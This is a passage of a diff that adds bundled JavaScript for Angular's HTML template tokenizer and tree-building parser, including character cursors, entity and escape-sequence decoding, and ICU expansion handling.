return true; + } + if (this._isInExpansionForm()) { + this._consumeExpansionFormEnd(); + return true; + } + } + return false; + }; + _Tokenizer.prototype._beginToken = function (type, start) { + if (start === void 0) { start = this._cursor.clone(); } + this._currentTokenStart = start; + this._currentTokenType = type; + }; + _Tokenizer.prototype._endToken = function (parts, end) { + if (end === void 0) { end = this._cursor.clone(); } + if (this._currentTokenStart === null) { + throw new TokenError('Programming error - attempted to end a token when there was no start to the token', this._currentTokenType, this._cursor.getSpan(end)); + } + if (this._currentTokenType === null) { + throw new TokenError('Programming error - attempted to end a token which has no token type', null, this._cursor.getSpan(this._currentTokenStart)); + } + var token = new Token(this._currentTokenType, parts, this._cursor.getSpan(this._currentTokenStart, this._leadingTriviaCodePoints)); + this.tokens.push(token); + this._currentTokenStart = null; + this._currentTokenType = null; + return token; + }; + _Tokenizer.prototype._createError = function (msg, span) { + if (this._isInExpansionForm()) { + msg += " (Do you have an unescaped \"{\" in your template? Use \"{{ '{' }}\") to escape it.)"; + } + var error = new TokenError(msg, this._currentTokenType, span); + this._currentTokenStart = null; + this._currentTokenType = null; + return new _ControlFlowError(error); + }; + _Tokenizer.prototype.handleError = function (e) { + if (e instanceof CursorError) { + e = this._createError(e.msg, this._cursor.getSpan(e.cursor)); + } + if (e instanceof _ControlFlowError) { + this.errors.push(e.error); + } + else { + throw e; + } + }; + _Tokenizer.prototype._attemptCharCode = function (charCode) { + if (this._cursor.peek() === charCode) { + this._cursor.advance(); + return true; + } + return false; + }; + _Tokenizer.prototype._attemptCharCodeCaseInsensitive = function (charCode) { + if (compareCharCodeCaseInsensitive(this._cursor.peek(), charCode)) { + this._cursor.advance(); + return true; + } + return false; + }; + _Tokenizer.prototype._requireCharCode = function (charCode) { + var location = this._cursor.clone(); + if (!this._attemptCharCode(charCode)) { + throw this._createError(_unexpectedCharacterErrorMsg(this._cursor.peek()), this._cursor.getSpan(location)); + } + }; + _Tokenizer.prototype._attemptStr = function (chars) { + var len = chars.length; + if (this._cursor.charsLeft() < len) { + return false; + } + var initialPosition = this._cursor.clone(); + for (var i = 0; i < len; i++) { + if (!this._attemptCharCode(chars.charCodeAt(i))) { + // If attempting to parse the string fails, we want to reset the parser + // to where it was before the attempt + this._cursor = initialPosition; + return false; + } + } + return true; + }; + _Tokenizer.prototype._attemptStrCaseInsensitive = function (chars) { + for (var i = 0; i < chars.length; i++) { + if (!this._attemptCharCodeCaseInsensitive(chars.charCodeAt(i))) { + return false; + } + } + return true; + }; + _Tokenizer.prototype._requireStr = function (chars) { + var location = this._cursor.clone(); + if (!this._attemptStr(chars)) { + throw this._createError(_unexpectedCharacterErrorMsg(this._cursor.peek()), this._cursor.getSpan(location)); + } + }; + _Tokenizer.prototype._attemptCharCodeUntilFn = function (predicate) { + while (!predicate(this._cursor.peek())) { + this._cursor.advance(); + } + }; + _Tokenizer.prototype._requireCharCodeUntilFn = function (predicate, len) { + var start = this._cursor.clone(); + this._attemptCharCodeUntilFn(predicate); + var end = this._cursor.clone(); + if (end.diff(start) < len) { + throw this._createError(_unexpectedCharacterErrorMsg(this._cursor.peek()), this._cursor.getSpan(start)); + } + }; + _Tokenizer.prototype._attemptUntilChar = function (char) { + while (this._cursor.peek() !== char) { + this._cursor.advance(); + } + }; + _Tokenizer.prototype._readChar = function (decodeEntities) { + if (decodeEntities && this._cursor.peek() === $AMPERSAND) { + return this._decodeEntity(); + } + else { + // Don't rely upon reading directly from `_input` as the actual char value + // may have been generated from an escape sequence. + var char = String.fromCodePoint(this._cursor.peek()); + this._cursor.advance(); + return char; + } + }; + _Tokenizer.prototype._decodeEntity = function () { + var start = this._cursor.clone(); + this._cursor.advance(); + if (this._attemptCharCode($HASH)) { + var isHex = this._attemptCharCode($x) || this._attemptCharCode($X); + var codeStart = this._cursor.clone(); + this._attemptCharCodeUntilFn(isDigitEntityEnd); + if (this._cursor.peek() != $SEMICOLON) { + throw this._createError(_unexpectedCharacterErrorMsg(this._cursor.peek()), this._cursor.getSpan()); + } + var strNum = this._cursor.getChars(codeStart); + this._cursor.advance(); + try { + var charCode = parseInt(strNum, isHex ? 16 : 10); + return String.fromCharCode(charCode); + } + catch (_a) { + throw this._createError(_unknownEntityErrorMsg(this._cursor.getChars(start)), this._cursor.getSpan()); + } + } + else { + var nameStart = this._cursor.clone(); + this._attemptCharCodeUntilFn(isNamedEntityEnd); + if (this._cursor.peek() != $SEMICOLON) { + this._cursor = nameStart; + return '&'; + } + var name_1 = this._cursor.getChars(nameStart); + this._cursor.advance(); + var char = NAMED_ENTITIES[name_1]; + if (!char) { + throw this._createError(_unknownEntityErrorMsg(name_1), this._cursor.getSpan(start)); + } + return char; + } + }; + _Tokenizer.prototype._consumeRawText = function (decodeEntities, endMarkerPredicate) { + this._beginToken(decodeEntities ? TokenType.ESCAPABLE_RAW_TEXT : TokenType.RAW_TEXT); + var parts = []; + while (true) { + var tagCloseStart = this._cursor.clone(); + var foundEndMarker = endMarkerPredicate(); + this._cursor = tagCloseStart; + if (foundEndMarker) { + break; + } + parts.push(this._readChar(decodeEntities)); + } + return this._endToken([this._processCarriageReturns(parts.join(''))]); + }; + _Tokenizer.prototype._consumeComment = function (start) { + var _this = this; + this._beginToken(TokenType.COMMENT_START, start); + this._requireCharCode($MINUS); + this._endToken([]); + this._consumeRawText(false, function () { return _this._attemptStr('-->'); }); + this._beginToken(TokenType.COMMENT_END); + this._requireStr('-->'); + this._endToken([]); + }; + _Tokenizer.prototype._consumeCdata = function (start) { + var _this = this; + this._beginToken(TokenType.CDATA_START, start); + this._requireStr('CDATA['); + this._endToken([]); + this._consumeRawText(false, function () { return _this._attemptStr(']]>'); }); + this._beginToken(TokenType.CDATA_END); + this._requireStr(']]>'); + this._endToken([]); + }; + _Tokenizer.prototype._consumeDocType = function (start) { + this._beginToken(TokenType.DOC_TYPE, start); + var contentStart = this._cursor.clone(); + this._attemptUntilChar($GT); + var content = this._cursor.getChars(contentStart); + this._cursor.advance(); + this._endToken([content]); + }; + _Tokenizer.prototype._consumePrefixAndName = function () { + var nameOrPrefixStart = this._cursor.clone(); + var prefix = ''; + while (this._cursor.peek() !== $COLON && !isPrefixEnd(this._cursor.peek())) { + this._cursor.advance(); + } + var nameStart; + if (this._cursor.peek() === $COLON) { + prefix = this._cursor.getChars(nameOrPrefixStart); + this._cursor.advance(); + nameStart = this._cursor.clone(); + } + else { + nameStart = nameOrPrefixStart; + } + this._requireCharCodeUntilFn(isNameEnd, prefix === '' ? 0 : 1); + var name = this._cursor.getChars(nameStart); + return [prefix, name]; + }; + _Tokenizer.prototype._consumeTagOpen = function (start) { + var tagName; + var prefix; + var openTagToken; + var tokensBeforeTagOpen = this.tokens.length; + var innerStart = this._cursor.clone(); + try { + if (!isAsciiLetter(this._cursor.peek())) { + throw this._createError(_unexpectedCharacterErrorMsg(this._cursor.peek()), this._cursor.getSpan(start)); + } + openTagToken = this._consumeTagOpenStart(start); + prefix = openTagToken.parts[0]; + tagName = openTagToken.parts[1]; + this._attemptCharCodeUntilFn(isNotWhitespace); + while (this._cursor.peek() !== $SLASH && this._cursor.peek() !== $GT) { + this._consumeAttributeName(); + this._attemptCharCodeUntilFn(isNotWhitespace); + if (this._attemptCharCode($EQ)) { + this._attemptCharCodeUntilFn(isNotWhitespace); + this._consumeAttributeValue(); + } + this._attemptCharCodeUntilFn(isNotWhitespace); + } + this._consumeTagOpenEnd(); + } + catch (e) { + if (e instanceof _ControlFlowError) { + // When the start tag is invalid (including invalid "attributes"), assume we want a "<" + this._cursor = innerStart; + if (openTagToken) { + this.tokens.length = tokensBeforeTagOpen; + } + // Back to back text tokens are merged at the end + this._beginToken(TokenType.TEXT, start); + this._endToken(['<']); + return; + } + throw e; + } + var contentTokenType = this._getTagDefinition(tagName).contentType; + if (contentTokenType === TagContentType.RAW_TEXT) { + this._consumeRawTextWithTagClose(prefix, tagName, false); + } + else if (contentTokenType === TagContentType.ESCAPABLE_RAW_TEXT) { + this._consumeRawTextWithTagClose(prefix, tagName, true); + } + }; + _Tokenizer.prototype._consumeRawTextWithTagClose = function (prefix, tagName, decodeEntities) { + var _this = this; + var textToken = this._consumeRawText(decodeEntities, function () { + if (!_this._attemptCharCode($LT)) + return false; + if (!_this._attemptCharCode($SLASH)) + return false; + _this._attemptCharCodeUntilFn(isNotWhitespace); + if (!_this._attemptStrCaseInsensitive(tagName)) + return false; + _this._attemptCharCodeUntilFn(isNotWhitespace); + return _this._attemptCharCode($GT); + }); + this._beginToken(TokenType.TAG_CLOSE); + this._requireCharCodeUntilFn(function (code) { return code === $GT; }, 3); + this._cursor.advance(); // Consume the `>` + this._endToken([prefix, tagName]); + }; + _Tokenizer.prototype._consumeTagOpenStart = function (start) { + this._beginToken(TokenType.TAG_OPEN_START, start); + var parts = this._consumePrefixAndName(); + return this._endToken(parts); + }; + _Tokenizer.prototype._consumeAttributeName = function () { + var attrNameStart = this._cursor.peek(); + if (attrNameStart === $SQ || attrNameStart === $DQ) { + throw this._createError(_unexpectedCharacterErrorMsg(attrNameStart), this._cursor.getSpan()); + } + this._beginToken(TokenType.ATTR_NAME); + var prefixAndName = this._consumePrefixAndName(); + this._endToken(prefixAndName); + }; + _Tokenizer.prototype._consumeAttributeValue = function () { + var value; + if (this._cursor.peek() === $SQ || this._cursor.peek() === $DQ) { + this._beginToken(TokenType.ATTR_QUOTE); + var quoteChar = this._cursor.peek(); + this._cursor.advance(); + this._endToken([String.fromCodePoint(quoteChar)]); + this._beginToken(TokenType.ATTR_VALUE); + var parts = []; + while (this._cursor.peek() !== quoteChar) { + parts.push(this._readChar(true)); + } + value = parts.join(''); + this._endToken([this._processCarriageReturns(value)]); + this._beginToken(TokenType.ATTR_QUOTE); + this._cursor.advance(); + this._endToken([String.fromCodePoint(quoteChar)]); + } + else { + this._beginToken(TokenType.ATTR_VALUE); + var valueStart = this._cursor.clone(); + this._requireCharCodeUntilFn(isNameEnd, 1); + value = this._cursor.getChars(valueStart); + this._endToken([this._processCarriageReturns(value)]); + } + }; + _Tokenizer.prototype._consumeTagOpenEnd = function () { + var tokenType = this._attemptCharCode($SLASH) ? TokenType.TAG_OPEN_END_VOID : TokenType.TAG_OPEN_END; + this._beginToken(tokenType); + this._requireCharCode($GT); + this._endToken([]); + }; + _Tokenizer.prototype._consumeTagClose = function (start) { + this._beginToken(TokenType.TAG_CLOSE, start); + this._attemptCharCodeUntilFn(isNotWhitespace); + var prefixAndName = this._consumePrefixAndName(); + this._attemptCharCodeUntilFn(isNotWhitespace); + this._requireCharCode($GT); + this._endToken(prefixAndName); + }; + _Tokenizer.prototype._consumeExpansionFormStart = function () { + this._beginToken(TokenType.EXPANSION_FORM_START); + this._requireCharCode($LBRACE); + this._endToken([]); + this._expansionCaseStack.push(TokenType.EXPANSION_FORM_START); + this._beginToken(TokenType.RAW_TEXT); + var condition = this._readUntil($COMMA); + this._endToken([condition]); + this._requireCharCode($COMMA); + this._attemptCharCodeUntilFn(isNotWhitespace); + this._beginToken(TokenType.RAW_TEXT); + var type = this._readUntil($COMMA); + this._endToken([type]); + this._requireCharCode($COMMA); + this._attemptCharCodeUntilFn(isNotWhitespace); + }; + _Tokenizer.prototype._consumeExpansionCaseStart = function () { + this._beginToken(TokenType.EXPANSION_CASE_VALUE); + var value = this._readUntil($LBRACE).trim(); + this._endToken([value]); + this._attemptCharCodeUntilFn(isNotWhitespace); + this._beginToken(TokenType.EXPANSION_CASE_EXP_START); + this._requireCharCode($LBRACE); + this._endToken([]); + this._attemptCharCodeUntilFn(isNotWhitespace); + this._expansionCaseStack.push(TokenType.EXPANSION_CASE_EXP_START); + }; + _Tokenizer.prototype._consumeExpansionCaseEnd = function () { + this._beginToken(TokenType.EXPANSION_CASE_EXP_END); + this._requireCharCode($RBRACE); + this._endToken([]); + this._attemptCharCodeUntilFn(isNotWhitespace); + this._expansionCaseStack.pop(); + }; + _Tokenizer.prototype._consumeExpansionFormEnd = function () { + this._beginToken(TokenType.EXPANSION_FORM_END); + this._requireCharCode($RBRACE); + this._endToken([]); + this._expansionCaseStack.pop(); + }; + _Tokenizer.prototype._consumeText = function () { + var start = this._cursor.clone(); + this._beginToken(TokenType.TEXT, start); + var parts = []; + do { + if (this._interpolationConfig && this._attemptStr(this._interpolationConfig.start)) { + parts.push(this._interpolationConfig.start); + this._inInterpolation = true; + } + else if (this._interpolationConfig && this._inInterpolation && + this._attemptStr(this._interpolationConfig.end)) { + parts.push(this._interpolationConfig.end); + this._inInterpolation = false; + } + else { + parts.push(this._readChar(true)); + } + } while (!this._isTextEnd()); + this._endToken([this._processCarriageReturns(parts.join(''))]); + }; + _Tokenizer.prototype._isTextEnd = function () { + if (this._cursor.peek() === $LT || this._cursor.peek() === $EOF) { + return true; + } + if (this._tokenizeIcu && !this._inInterpolation) { + if (this.isExpansionFormStart()) { + // start of an expansion form + return true; + } + if (this._cursor.peek() === $RBRACE && this._isInExpansionCase()) { + // end of and expansion case + return true; + } + } + return false; + }; + _Tokenizer.prototype._readUntil = function (char) { + var start = this._cursor.clone(); + this._attemptUntilChar(char); + return this._cursor.getChars(start); + }; + _Tokenizer.prototype._isInExpansionCase = function () { + return this._expansionCaseStack.length > 0 && + this._expansionCaseStack[this._expansionCaseStack.length - 1] === + TokenType.EXPANSION_CASE_EXP_START; + }; + _Tokenizer.prototype._isInExpansionForm = function () { + return this._expansionCaseStack.length > 0 && + this._expansionCaseStack[this._expansionCaseStack.length - 1] === + TokenType.EXPANSION_FORM_START; + }; + _Tokenizer.prototype.isExpansionFormStart = function () { + if (this._cursor.peek() !== $LBRACE) { + return false; + } + if (this._interpolationConfig) { + var start = this._cursor.clone(); + var isInterpolation = this._attemptStr(this._interpolationConfig.start); + this._cursor = start; + return !isInterpolation; + } + return true; + }; + return _Tokenizer; +}()); +function isNotWhitespace(code) { + return !isWhitespace(code) || code === $EOF; +} +function isNameEnd(code) { + return isWhitespace(code) || code === $GT || code === $SLASH || + code === $SQ || code === $DQ || code === $EQ; +} +function isPrefixEnd(code) { + return (code < $a || $z < code) && (code < $A || $Z < code) && + (code < $0 || code > $9); +} +function isDigitEntityEnd(code) { + return code == $SEMICOLON || code == $EOF || !isAsciiHexDigit(code); +} +function isNamedEntityEnd(code) { + return code == $SEMICOLON || code == $EOF || !isAsciiLetter(code); +} +function isExpansionCaseStart(peek) { + return peek === $EQ || isAsciiLetter(peek) || isDigit(peek); +} +function compareCharCodeCaseInsensitive(code1, code2) { + return toUpperCaseCharCode(code1) == toUpperCaseCharCode(code2); +} +function toUpperCaseCharCode(code) { + return code >= $a && code <= $z ? code - $a + $A : code; +} +function mergeTextTokens(srcTokens) { + var dstTokens = []; + var lastDstToken = undefined; + for (var i = 0; i < srcTokens.length; i++) { + var token = srcTokens[i]; + if (lastDstToken && lastDstToken.type == TokenType.TEXT && token.type == TokenType.TEXT) { + lastDstToken.parts[0] += token.parts[0]; + lastDstToken.sourceSpan.end = token.sourceSpan.end; + } + else { + lastDstToken = token; + dstTokens.push(lastDstToken); + } + } + return dstTokens; +} +var PlainCharacterCursor = /** @class */ (function () { + function PlainCharacterCursor(fileOrCursor, range) { + if (fileOrCursor instanceof PlainCharacterCursor) { + this.file = fileOrCursor.file; + this.input = fileOrCursor.input; + this.end = fileOrCursor.end; + this.state = Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__assign"])({}, fileOrCursor.state); + } + else { + if (!range) { + throw new Error('Programming error: the range argument must be provided with a file argument.'); + } + this.file = fileOrCursor; + this.input = fileOrCursor.content; + this.end = range.endPos; + this.state = { + peek: -1, + offset: range.startPos, + line: range.startLine, + column: range.startCol, + }; + } + } + PlainCharacterCursor.prototype.clone = function () { return new PlainCharacterCursor(this); }; + PlainCharacterCursor.prototype.peek = function () { return this.state.peek; }; + PlainCharacterCursor.prototype.charsLeft = function () { return this.end - this.state.offset; }; + PlainCharacterCursor.prototype.diff = function (other) { return this.state.offset - other.state.offset; }; + PlainCharacterCursor.prototype.advance = function () { this.advanceState(this.state); }; + PlainCharacterCursor.prototype.init = function () { this.updatePeek(this.state); }; + PlainCharacterCursor.prototype.getSpan = function (start, leadingTriviaCodePoints) { + start = start || this; + if (leadingTriviaCodePoints) { + start = start.clone(); + while (this.diff(start) > 0 && leadingTriviaCodePoints.indexOf(start.peek()) !== -1) { + start.advance(); + } + } + return new ParseSourceSpan(new ParseLocation(start.file, start.state.offset, start.state.line, start.state.column), new ParseLocation(this.file, this.state.offset, this.state.line, this.state.column)); + }; + PlainCharacterCursor.prototype.getChars = function (start) { + return this.input.substring(start.state.offset, this.state.offset); + }; + PlainCharacterCursor.prototype.charAt = function (pos) { return this.input.charCodeAt(pos); }; + PlainCharacterCursor.prototype.advanceState = function (state) { + if (state.offset >= this.end) { + this.state = state; + throw new CursorError('Unexpected character "EOF"', this); + } + var currentChar = this.charAt(state.offset); + if (currentChar === $LF) { + state.line++; + state.column = 0; + } + else if (!isNewLine(currentChar)) { + state.column++; + } + state.offset++; + this.updatePeek(state); + }; + PlainCharacterCursor.prototype.updatePeek = function (state) { + state.peek = state.offset >= this.end ? $EOF : this.charAt(state.offset); + }; + return PlainCharacterCursor; +}()); +var EscapedCharacterCursor = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(EscapedCharacterCursor, _super); + function EscapedCharacterCursor(fileOrCursor, range) { + var _this = this; + if (fileOrCursor instanceof EscapedCharacterCursor) { + _this = _super.call(this, fileOrCursor) || this; + _this.internalState = Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__assign"])({}, fileOrCursor.internalState); + } + else { + _this = _super.call(this, fileOrCursor, range) || this; + _this.internalState = _this.state; + } + return _this; + } + EscapedCharacterCursor.prototype.advance = function () { + this.state = this.internalState; + _super.prototype.advance.call(this); + this.processEscapeSequence(); + }; + EscapedCharacterCursor.prototype.init = function () { + _super.prototype.init.call(this); + this.processEscapeSequence(); + }; + EscapedCharacterCursor.prototype.clone = function () { return new EscapedCharacterCursor(this); }; + EscapedCharacterCursor.prototype.getChars = function (start) { + var cursor = start.clone(); + var chars = ''; + while (cursor.internalState.offset < this.internalState.offset) { + chars += String.fromCodePoint(cursor.peek()); + cursor.advance(); + } + return chars; + }; + /** + * Process the escape sequence that starts at the current position in the text. + * + * This method is called to ensure that `peek` has the unescaped value of escape sequences. + */ + EscapedCharacterCursor.prototype.processEscapeSequence = function () { + var _this = this; + var peek = function () { return _this.internalState.peek; }; + if (peek() === $BACKSLASH) { + // We have hit an escape sequence so we need the internal state to become independent + // of the external state. + this.internalState = Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__assign"])({}, this.state); + // Move past the backslash + this.advanceState(this.internalState); + // First check for standard control char sequences + if (peek() === $n) { + this.state.peek = $LF; + } + else if (peek() === $r) { + this.state.peek = $CR; + } + else if (peek() === $v) { + this.state.peek = $VTAB; + } + else if (peek() === $t) { + this.state.peek = $TAB; + } + else if (peek() === $b) { + this.state.peek = $BSPACE; + } + else if (peek() === $f) { + this.state.peek = $FF; + } + // Now consider more complex sequences + else if (peek() === $u) { + // Unicode code-point sequence + this.advanceState(this.internalState); // advance past the `u` char + if (peek() === $LBRACE) { + // Variable length Unicode, e.g. `\x{123}` + this.advanceState(this.internalState); // advance past the `{` char + // Advance past the variable number of hex digits until we hit a `}` char + var digitStart = this.clone(); + var length_1 = 0; + while (peek() !== $RBRACE) { + this.advanceState(this.internalState); + length_1++; + } + this.state.peek = this.decodeHexDigits(digitStart, length_1); + } + else { + // Fixed length Unicode, e.g. `\u1234` + var digitStart = this.clone(); + this.advanceState(this.internalState); + this.advanceState(this.internalState); + this.advanceState(this.internalState); + this.state.peek = this.decodeHexDigits(digitStart, 4); + } + } + else if (peek() === $x) { + // Hex char code, e.g. `\x2F` + this.advanceState(this.internalState); // advance past the `x` char + var digitStart = this.clone(); + this.advanceState(this.internalState); + this.state.peek = this.decodeHexDigits(digitStart, 2); + } + else if (isOctalDigit(peek())) { + // Octal char code, e.g. `\012`, + var octal = ''; + var length_2 = 0; + var previous = this.clone(); + while (isOctalDigit(peek()) && length_2 < 3) { + previous = this.clone(); + octal += String.fromCodePoint(peek()); + this.advanceState(this.internalState); + length_2++; + } + this.state.peek = parseInt(octal, 8); + // Backup one char + this.internalState = previous.internalState; + } + else if (isNewLine(this.internalState.peek)) { + // Line continuation `\` followed by a new line + this.advanceState(this.internalState); // advance over the newline + this.state = this.internalState; + } + else { + // If none of the `if` blocks were executed then we just have an escaped normal character. + // In that case we just, effectively, skip the backslash from the character. + this.state.peek = this.internalState.peek; + } + } + }; + EscapedCharacterCursor.prototype.decodeHexDigits = function (start, length) { + var hex = this.input.substr(start.internalState.offset, length); + var charCode = parseInt(hex, 16); + if (!isNaN(charCode)) { + return charCode; + } + else { + start.state = start.internalState; + throw new CursorError('Invalid hexadecimal escape sequence', start); + } + }; + return EscapedCharacterCursor; +}(PlainCharacterCursor)); +var CursorError = /** @class */ (function () { + function CursorError(msg, cursor) { + this.msg = msg; + this.cursor = cursor; + } + return CursorError; +}()); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var TreeError = /** @class */ (function (_super) { + Object(tslib__WEBPACK_IMPORTED_MODULE_0__["__extends"])(TreeError, _super); + function TreeError(elementName, span, msg) { + var _this = _super.call(this, span, msg) || this; + _this.elementName = elementName; + return _this; + } + TreeError.create = function (elementName, span, msg) { + return new TreeError(elementName, span, msg); + }; + return TreeError; +}(ParseError)); +var ParseTreeResult = /** @class */ (function () { + function ParseTreeResult(rootNodes, errors) { + this.rootNodes = rootNodes; + this.errors = errors; + } + return ParseTreeResult; +}()); +var Parser = /** @class */ (function () { + function Parser(getTagDefinition) { + this.getTagDefinition = getTagDefinition; + } + Parser.prototype.parse = function (source, url, options) { + var tokensAndErrors = tokenize(source, url, this.getTagDefinition, options); + var treeAndErrors = new _TreeBuilder(tokensAndErrors.tokens, this.getTagDefinition).build(); + return new ParseTreeResult(treeAndErrors.rootNodes, tokensAndErrors.errors.concat(treeAndErrors.errors)); + }; + return Parser; +}()); +var _TreeBuilder = /** @class */ (function () { + function _TreeBuilder(tokens, getTagDefinition) { + this.tokens = tokens; + this.getTagDefinition = getTagDefinition; + this._index = -1; + this._rootNodes = []; + this._errors = []; + this._elementStack = []; + this._advance(); + } + _TreeBuilder.prototype.build = function () { + while (this._peek.type !== TokenType.EOF) { + if (this._peek.type === TokenType.TAG_OPEN_START) { + this._consumeStartTag(this._advance()); + } + else if (this._peek.type === TokenType.TAG_CLOSE) { + this._consumeEndTag(this._advance()); + } + else if (this._peek.type === TokenType.CDATA_START) { + this._closeVoidElement(); + this._consumeCdata(this._advance()); + } + else if (this._peek.type === TokenType.COMMENT_START) { + this._closeVoidElement(); + this._consumeComment(this._advance()); + } + else if (this._peek.type === TokenType.TEXT || this._peek.type === TokenType.RAW_TEXT || + this._peek.type === TokenType.ESCAPABLE_RAW_TEXT) { + this._closeVoidElement(); + this._consumeText(this._advance()); + } + else if (this._peek.type === TokenType.EXPANSION_FORM_START) { + this._consumeExpansion(this._advance()); + } + else { + // Skip all other tokens... + this._advance(); + } + } + return new ParseTreeResult(this._rootNodes, this._errors); + }; + _TreeBuilder.prototype._advance = function () { + var prev = this._peek; + if (this._index < this.tokens.length - 1) { + // Note: there is always an EOF token at the end + this._index++; + } + this._peek = this.tokens[this._index]; + return prev; + }; + _TreeBuilder.prototype._advanceIf = function (type) { + if (this._peek.type === type) { + return this._advance(); + } + return null; + }; + _TreeBuilder.prototype._consumeCdata = function (startToken) { + this._consumeText(this._advance()); + this._advanceIf(TokenType.CDATA_END); + }; + _TreeBuilder.prototype._consumeComment = function (token) { + var text = this._advanceIf(TokenType.RAW_TEXT); + this._advanceIf(TokenType.COMMENT_END); + var value = text != null ? text.parts[0].trim() : null; + this._addToParent(new Comment(value, token.sourceSpan)); + }; + _TreeBuilder.prototype._consumeExpansion = function (token) { + var switchValue = this._advance(); + var type = this._advance(); + var cases = []; + // read = + while (this._peek.type === TokenType.EXPANSION_CASE_VALUE) { + var expCase = this._parseExpansionCase(); + if (!expCase) + return; // error + cases.push(expCase); + } + // read the final } + if (this._peek.type !== TokenType.EXPANSION_FORM_END) { + this._errors.push(TreeError.create(null, this._peek.sourceSpan, "Invalid ICU message. Missing '}'.")); + return; + } + var sourceSpan = new ParseSourceSpan(token.sourceSpan.start, this._peek.sourceSpan.end); + this._addToParent(new Expansion(switchValue.parts[0], type.parts[0], cases, sourceSpan, switchValue.sourceSpan)); + this._advance(); + }; + _TreeBuilder.prototype._parseExpansionCase = function () { + var value = this._advance(); + // read { + if (this._peek.type !== TokenType.EXPANSION_CASE_EXP_START) { + this._errors.push(TreeError.create(null, this._peek.sourceSpan, "Invalid ICU message. Missing '{'.")); + return null; + } + // read until } + var start = this._advance(); + var exp = this._collectExpansionExpTokens(start); + if (!exp) + return null; + var end = this._advance(); + exp.push(new Token(TokenType.EOF, [], end.sourceSpan)); + // parse everything in between { and } + var parsedExp = new _TreeBuilder(exp, this.getTagDefinition).build(); + if (parsedExp.errors.length > 0) { + this._errors = this._errors.concat(parsedExp.errors); + return null; + } + var sourceSpan = new ParseSourceSpan(value.sourceSpan.start, end.sourceSpan.end); + var expSourceSpan = new ParseSourceSpan(start.sourceSpan.start, end.sourceSpan.end); + return new ExpansionCase(value.parts[0], parsedExp.rootNodes, sourceSpan, value.sourceSpan, expSourceSpan); + }; + _TreeBuilder.prototype._collectExpansionExpTokens = function (start) { + var exp = []; + var expansionFormStack = [TokenType.EXPANSION_CASE_EXP_START]; + while (true) { + if (this._peek.type === TokenType.EXPANSION_FORM_START || + this._peek.type === TokenType.EXPANSION_CASE_EXP_START) { + expansionFormStack.push(this._peek.type); + } + if (this._peek.type === TokenType.EXPANSION_CASE_EXP_END) { + if (lastOnStack(expansionFormStack, TokenType.EXPANSION_CASE_EXP_START)) { + expansionFormStack.pop(); + if (expansionFormStack.length == 0) + return exp; + } + else { + this._errors.push(TreeError.create(null, start.sourceSpan, "Invalid ICU message. Missing '}'.")); + return null; + } + } + if (this._peek.type === TokenType.EXPANSION_FORM_END) { + if (lastOnStack(expansionFormStack, TokenType.EXPANSION_FORM_START)) { + expansionFormStack.pop(); + } + else { + this._errors.push(TreeError.create(null, start.sourceSpan, "Invalid ICU message. Missing '}'.")); + return null; + } + } + if (this._peek.type === TokenType.EOF) { + this._errors.push(TreeError.create(null, start.sourceSpan, "Invalid ICU message. Missing '}'.")); + return null; + } + exp.push(this._advance()); + } + }; + _TreeBuilder.prototype._consumeText = function (token) { + var text = token.parts[0]; + if (text.length > 0 && text[0] == '\n') { + var parent_1 = this._getParentElement(); + if (parent_1 != null && parent_1.children.length == 0 && + this.getTagDefinition(parent_1.name).ignoreFirstLf) { + text = text.substring(1); + } + } + if (text.length > 0) { + this._addToParent(new Text$3(text, token.sourceSpan)); + } + }; + _TreeBuilder.prototype._closeVoidElement = function () { + var el = this._getParentElement(); + if (el && this.getTagDefinition(el.name).isVoid) { + this._elementStack.pop(); + } + }; + _TreeBuilder.prototype._consumeStartTag = function (startTagToken) { + var prefix = startTagToken.parts[0]; + var name = startTagToken.parts[1]; + var attrs = []; + while (this._peek.type === TokenType.ATTR_NAME) { + attrs.push(this._consumeAttr(this._advance())); + } + var fullName = this._getElementFullName(prefix, name, this._getParentElement()); + var selfClosing = false; + // Note: There could have been a tokenizer error + // so that we don't get a token for the end tag... + if (this._peek.type === TokenType.TAG_OPEN_END_VOID) { + this._advance(); + selfClosing = true; + var tagDef = this.getTagDefinition(fullName); + if (!(tagDef.canSelfClose || getNsPrefix(fullName) !== null || tagDef.isVoid)) { + this._errors.push(TreeError.create(fullName, startTagToken.sourceSpan, "Only void and foreign elements can be self closed \"" + startTagToken.parts[1] + "\"")); + } + } + else if (this._peek.type === TokenType.TAG_OPEN_END) { + this._advance(); + selfClosing = false; + } + var end = this._peek.sourceSpan.start; + var span = new ParseSourceSpan(startTagToken.sourceSpan.start, end); + var el = new Element$1(fullName, attrs, [], span, span, undefined); + this._pushElement(el); + if (selfClosing) { + this._popElement(fullName); + el.endSourceSpan = span; + } + }; + _TreeBuilder.prototype._pushElement = function (el) { + var parentEl = this._getParentElement(); + if (parentEl && this.getTagDefinition(parentEl.name).isClosedByChild(el.name)) { + this._elementStack.pop(); + } + this._addToParent(el); + this._elementStack.push(el); + }; + _TreeBuilder.prototype._consumeEndTag = function (endTagToken) { + var fullName = this._getElementFullName(endTagToken.parts[0], endTagToken.parts[1], this._getParentElement()); + if (this._getParentElement()) { + this._getParentElement().endSourceSpan = endTagToken.sourceSpan; + } + if (this.getTagDefinition(fullName).isVoid) { + this._errors.push(TreeError.create(fullName, endTagToken.sourceSpan, "Void elements do not have end tags \"" + endTagToken.parts[1] + "\"")); + } + else if (!this._popElement(fullName)) { + var errMsg = "Unexpected closing tag \"" + fullName + "\". It may happen when the tag has already been closed by another tag. For more info see https://www.w3.org/TR/html5/syntax.html#closing-elements-that-have-implied-end-tags"; + this._errors.push(TreeError.create(fullName, endTagToken.sourceSpan, errMsg)); + } + }; + _TreeBuilder.prototype._popElement = function (fullName) { + for (var stackIndex = this._elementStack.length - 1; stackIndex >= 0; stackIndex--) { + var el = this._elementStack[stackIndex]; + if (el.name == fullName) { + this._elementStack.splice(stackIndex, this._elementStack.length - stackIndex); + return true; + } + if (!this.getTagDefinition(el.name).closedByParent) { + return false; + } + } + return false; + }; + _TreeBuilder.prototype._consumeAttr = function (attrName) { + var fullName = mergeNsAndName(attrName.parts[0], attrName.parts[1]); + var end = attrName.sourceSpan.end; + var value = ''; + var valueSpan = undefined; + if (this._peek.type === TokenType.ATTR_QUOTE) { + this._advance(); + 